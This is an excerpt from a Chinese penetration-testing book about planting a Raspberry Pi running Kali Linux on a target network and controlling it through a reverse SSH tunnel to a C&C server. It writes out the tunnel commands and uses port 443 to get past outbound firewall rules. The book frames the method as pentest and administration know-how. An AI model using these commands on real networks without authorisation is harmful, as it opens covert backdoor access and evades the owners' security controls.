《树莓派渗透测试实战》——2.9 通过SSH做反向Shell

简介:
+关注继续查看

本节书摘来自异步社区《树莓派渗透测试实战》一书中的第2章,第2.9节,作者[美]Joseph Muniz(约瑟夫 穆尼斯),Aamir Lakhani(阿米尔 拉克哈尼),朱筱丹 译,更多章节内容可以访问云栖社区“异步社区”公众号查看。

2.9 通过SSH做反向Shell

前面已经说过在远程地点用树莓派做渗透的优点。但将树莓派放到目标网络后,首要的问题是要怎样控制这台树莓派。最明显和灵活的做法就是Kali Linux上的SSH。

因为Kali Linux是一套完整功能的Linux操作系统,可以通过SSH控制整个系统;然而,从外面连入的SSH连接可能会被防火墙或其他的安全措施拦截。许多机构都会部署安全措施,以拦截接入的连接,避免自己的网络被开后门。在白盒评估测试中,也许可以明确地要求在防火墙上开放端口设置,以访问到树莓派的SSH服务,如图2-19所示的那样。但即使公司政策不反对这一做法,但实际操作中很难实现,因为使用场景涉及多个地点,它们由不同的管理团队控制。此时反向SSH就是管理Kali Linux树莓派的好办法了。


screenshot

在反向连接中,是由客户端连向服务器端,也是由它初始化到服务器端的连接,而不是服务器连到客户端。当然在这两种情况下,都是由服务器端控制客户端。这点与很多后门程序类似。为了使用方便,我们把这种技术用于系统管理。

许多入侵检测和拦截系统都会检查出SSH类型的流量,无论是从哪个端口进出。例如,即使同样采用443端口,SSH流量和常规的HTTPS也还是会有差异。

使用ssh命令的R开关来创建连向监听端的反向连接。监听端的设备处于监听状态,等待接受反向SSH连接。在设置的场景里,C&C服务器就是监听端。远程主机(树莓派)上使用的命令语法是:ssh -R [绑定的地址:]远程端口:本地主机:本地端口[6]。

R开关定义了远端树莓派要和哪个外网端口连接,以及如何发起连接。换而言之,还需要选择一个外网端口,让远端的树莓派可以连过来。大多数机构对往外连的请求过滤得并不严格,使得往外连的做法比标准的SSH接入更有效。一般防火墙都会开放包括22、80、443和53等TCP端口,也就是客户端通常可以自由地连接外网这些端口。

某些严格限制外连的协议检测设备,如下一代防火墙、下一代IPS(入侵检测系统)和高级代理服务器可能会阻断这些连接。

本地端口是树莓派上某个服务的监听端口。在本场景中,运行的是SSH服务,所以本地端口默认是22。也可以把默认端口改得更隐秘些,或者使用加密通道,这部分内容会在本章后面介绍。总之这条命令会在C&C主控服务器上打开一个用于管理远端SSH的TCP端口,它在C&C服务器端等着接收树莓派的连入。而本地端口则是树莓派上运行SSH服务的实际端口。

在树莓派的例子里,输入以下命令:

ssh -fN -R 7000:localhost:22  C&C服务器端用户名@C&C服务器IP地址
ssh -fN -R 7000:localhost:22  root@192.168.162.133

上面这条命令是假设树莓派可以连到外网的7000端口。如果这个端口号不能用,那就再换一个。如图2-20所示,大多数机构都允许外连到443端口。


screenshot

所以根据图2-20的情况再换一个外连端口试试,在树莓派上执行如下命令:

ssh -fN -R 443:localhost:22 root@192.168.162.133

在C&C服务器端,打开命令行终端,输入以下命令:

ssh root@localhost -p 443

根据提示要输入树莓派上Kali Linux的root用户密码。可以看到在执行上一条命令后,命令行提示符变了。我们实际上已经登录到远程的树莓派上,可以完全控制它了,关系如图2-21所示。


screenshot

要确保已安装OpenSSH服务并处于运行状态,否则整个过程无法完成。最有可能的就是看到1条拒绝连接的错误信息。所以需要先修改启动参数,确保树莓派默认重启后会启动SSH,这点很重要。

这项技术叫反向shell tunneling(命令行通道)。可以选择任意源端口,如53端口,这通常是DNS服务的端口;或者80,这通常是HTTP服务的端口。但请记住,修改端口号并不意味着底层对应的协议也跟着变了。

相关文章
|
7月前
|
安全 Java 网络安全
实战|记一次对某站点的渗透测试(bypass)(三)
实战|记一次对某站点的渗透测试(bypass)
151 0
实战|记一次对某站点的渗透测试(bypass)(三)
|
7月前
|
SQL 安全 Java
实战|记一次对某站点的渗透测试(bypass)(二)
实战|记一次对某站点的渗透测试(bypass)
102 0
实战|记一次对某站点的渗透测试(bypass)(二)
|
7月前
|
SQL 安全 Java
实战|记一次对某站点的渗透测试(bypass)(一)
实战|记一次对某站点的渗透测试(bypass)
99 0
实战|记一次对某站点的渗透测试(bypass)(一)
|
7月前
|
网络安全 PHP
记一次实战渗透测试
记一次实战渗透测试
记一次实战渗透测试
|
10月前
|
SQL 网络安全 PHP
渗透测试-SQL注入之堆叠注入-攻防世界supersqli实战
渗透测试-SQL注入之堆叠注入-攻防世界supersqli实战
渗透测试-SQL注入之堆叠注入-攻防世界supersqli实战
|
SQL 安全 前端开发
渗透测试公司实战注入攻击拿下客户网站
近来,利用sql注入、xss和文件上传漏洞,成功getshell的一个客户网站(必须要拿到客户授权渗透测试许可证明才可以,不得违法入侵),这里简单记录一下整个过程,与大家分享。收集信息,查找漏洞。第一步就是进行信息收集,经过一轮的收集,发现这个网站租的是香港的服务器,没有waf文件;从网站的界面看,这个网站是用cms搭建的,搭建的环境是Iis10.0+php,同时通过目录扫描工具发现了一些网站的目录,但没有找到后台登录地址(这肯定是网站管理员隐藏了后台的地址)。
192 0
渗透测试公司实战注入攻击拿下客户网站
|
安全 测试技术 网络安全
渗透测试怎样快速学会并实战
无论是读书,还是练习,你都需要总结,读书的总结会帮你提炼出书本上的知识点;练习的总结会帮你在以后的道路上不断的去复习,少走弯路。概括起来最好有两种方法:一是绘制思维导图,思维导图比较适合梳理自己的思路点。撰写摘要:记录比较完整,都可以是思维导图的延伸,都可以是记录你渗透或推动项目的整个过程,也可以是自己的一些感悟等等。还可以使用文档进行后续共享。
89 0
渗透测试怎样快速学会并实战
|
Web App开发 人工智能 安全
书籍:Python渗透测试实战 Practical Security Automation and Testing(python)- 2019.pdf
简介 实用的安全自动化和测试:使用DevOps和DevSecOps自动化基础架构安全性的一站式指南 主要特点 保护和自动化保护Web,移动或云服务的技术 使用Python,C ++,Java和JavaScript自动执行安全代码检查 将安全测试与fuzz,BDD,Selenium和Robot Framework等自动化框架集成 安全自动化是软件安全评估任务的自动处理。
|
网络安全
[ssh]SSH反向通道端口转发,在本地调试微信支付回调
ssh -R 8001:localhost:8001 root@这里是你的服务器外网ip 输入密码 server上查看一下是否监听了端口 netstat -anltp | grep 8001 这样就可以将对服务器...
2198 0
相关产品
云迁移中心
推荐文章
更多